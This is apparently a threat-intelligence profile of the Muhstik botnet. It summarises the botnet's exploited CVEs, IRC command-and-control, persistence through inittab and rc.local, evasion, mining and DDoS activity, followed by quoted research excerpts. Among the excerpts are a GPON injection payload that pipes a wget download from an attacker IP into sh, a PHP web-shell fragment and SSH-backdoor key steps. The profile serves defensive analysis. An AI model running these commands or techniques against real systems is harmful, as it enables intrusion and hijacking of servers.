Muhstik is an IRC-controlled botnet malware family targeting Linux servers, IoT devices, and SOHO routers. Active since at least 2017, it is associated with the Tsunami/Kaiten malware lineage and combines distributed denial-of-service capabilities with cryptocurrency-mining deployment and worm-like propagation. Its operators recruit compromised systems for further scanning, exploitation, SSH-based expansion, and monetization through DDoS activity and mining tools such as XMRig and CGMiner.
Muhstik spreads through vulnerabilities and weak authentication in internet-facing applications and devices. Observed exploitation includes Drupal CVE-2018-7600, Oracle WebLogic vulnerabilities, GPON router vulnerabilities CVE-2018-10561 and CVE-2018-10562, Atlassian Confluence CVE-2021-26084, Log4Shell CVE-2021-44228, and Apache RocketMQ CVE-2023-33246. It also uses SSH weak-password attacks and DD-WRT web-authentication brute forcing. Campaigns have compromised WordPress deployments, including a Kubernetes pod accessed through default administrative credentials. Infection chains commonly use shell scripts to download and execute architecture-specific ELF payloads.
Compromised hosts connect to IRC command-and-control infrastructure and receive instructions to launch flooding attacks, deploy miners and scanning modules, or expand to additional systems. Muhstik-associated tooling can steal local SSH credentials and use them for lateral movement. Observed variants establish persistence through system startup configuration and automatic process-respawn mechanisms. Defense-evasion behavior includes executable packing, benign-looking process names, checks for monitoring tools, and termination of competing malware. Its targeting spans exposed server applications, containerized workloads, and embedded devices rather than a specific industry.
11 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
35 distinct techniques documented for this family, organized by ATT&CK tactic.
"muhstik.scanner will initiate scanning and exploit the vulnerability" and Mettle is described as using a scanner at 118.70.80.143.
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
We noticed one of them has worm-propagation behavior.
Multiple botnets exploited GPON CVE-2018-10561 (authentication bypass) and CVE-2018-10562 (command execution) to expand infections. Muhstik also added exploits for JBoss CVE-2007-1036.
Then, it tried to execute crontab, although the crontab binary wasn't available inside the Pod.
The malicious PHP code loads files and executes remote commands... echo " " . shell_exec($comd) . "";
The GPON exploit payload injects commands into the diagnostic ping parameter, including "wget -qO -http://162.243.211.204/gpon | sh" and a download of the aio payload followed by "| sh".
The P2PInfect worm infects vulnerable Redis instances by exploiting the Lua sandbox escape vulnerability, CVE-2022-0543.
Created /etc/inittab file using respawn function always for persistence... It succeeded instead of executing persistence via /etc/inittab , adding the following lines.
The attackers then edited the inittab file... used the respawn command to instruct the init process to automatically restart the pty3 process
Created entry in file rc.local for persistence.
Then, it tried to execute crontab, although the crontab binary wasn't available inside the Pod.
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
"...adds a backdoor module, ldm, which has the ability to add an SSH backdoor public key... After the public key is added to the ~/.ssh/authorized_keys file, the attacker can directly log into the remote server without password authentication."
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
the WordPress header.php file was updated... file_put_contents("E3DC4533F48E7161DA720C6FD3591710.php", $data)... Decrypting the code added by the attacker, we can see it is a PHP web shell, used to execute commands and upload files on the Pod.
Created /etc/inittab file using respawn function always for persistence... It succeeded instead of executing persistence via /etc/inittab , adding the following lines.
The attackers then edited the inittab file... used the respawn command to instruct the init process to automatically restart the pty3 process
Created entry in file rc.local for persistence.
Then, it tried to execute crontab, although the crontab binary wasn't available inside the Pod.
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
"...adds a backdoor module, ldm, which has the ability to add an SSH backdoor public key... After the public key is added to the ~/.ssh/authorized_keys file, the attacker can directly log into the remote server without password authentication."
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
it was revealed that the Muhstik malware, downloaded as pty3, is detected as packed software. This means the file signature was changed in an attempt to avoid signature-based detection.
the file is saved with the name pty3. pty is a known mechanism in Linux that facilitates communication between processes. The attackers provided the file with a seemingly legitimate name
#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation
the Muhstik malware checks if the network tools strace and tcpdump are available on the machine it is running on. It uses the pidof command to check if there is a running process of one of these tools
the pty3 malware was written to the directories listed above (/dev/shm, /var/tmp, /run/lock, and /run). These often involve temporary files or in-memory objects.
SSH scanning module: weak password scanning
Muhstik added an exploit for "DD-WRT (Web Authentication Bruteforcing)."
360Netlab observed a large number of scans on the internet against this vulnerability... the aiox86 scanning module is quite complicated... Target Ports : Scans TCP port 80, 8080, 7001, 2004, and tries varieties of different payloads on each port.
Check tools running inside the host/Pod to discover new Pods to infect.
The attackers queried the machine for details using the uname command to retrieve system information.
This last portion of the PHP code is used as a backdoor communication to send the commands from the botnet. We can observe cmd , dir , or ls -la commands.
the Muhstik malware checks if the network tools strace and tcpdump are available on the machine it is running on. It uses the pidof command to check if there is a running process of one of these tools
the attackers also uses the IRC communication protocol to invoke commands for the botnet: “We observed multiple IRC Channels, all starting with ‘muhstik,'”
SSH scanning module: weak password scanning... #muhstik-SSH #perform SSH scanning :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137
We noticed one of them has worm-propagation behavior.
Muhstik is a variant of the Tsunami botnet... Communication protocol: Based on the IRC protocol, sending different instructions via different channels
Muhstik scanners forced vulnerable GPON devices to report status to PHP URLs hosted on attacker-controlled report servers, including gpon.php and gponb6abe42c3a9aa04216077697eb1bcd44.php.
"...queries relay.l33t-ppl.inf through some publicly available DoH services... During this process, a number of DNS requests are generated."
"...Muhstik adopts TOR network for its reporting mechanism." and "When it is not possible to report infect information directly from the TOR network, Muhstik will try to use TOR's public mapped domains..."
It maintains the DDoS functionality of this family by connecting to a server and accepting commands via a specified IRC channel.
SitesLoader downloads a stage-two ELF file; the XMRig Windows command uses WebClient.DownloadFile to retrieve xmrig.exe; and the Linux variant downloads xmrig.tar.gz plus a setup shell script.
"muhstik.c2.list will send commands to its bots" requesting "xmrig Mining" and "cgminer mining."
Muhstik C2 servers could command bots to conduct "DDoS attacks."
Netlab researchers said they intercepted multiple DDoS attack instructions targeting the IP address 46[.]243[.]189[.]102.
155 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
28 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.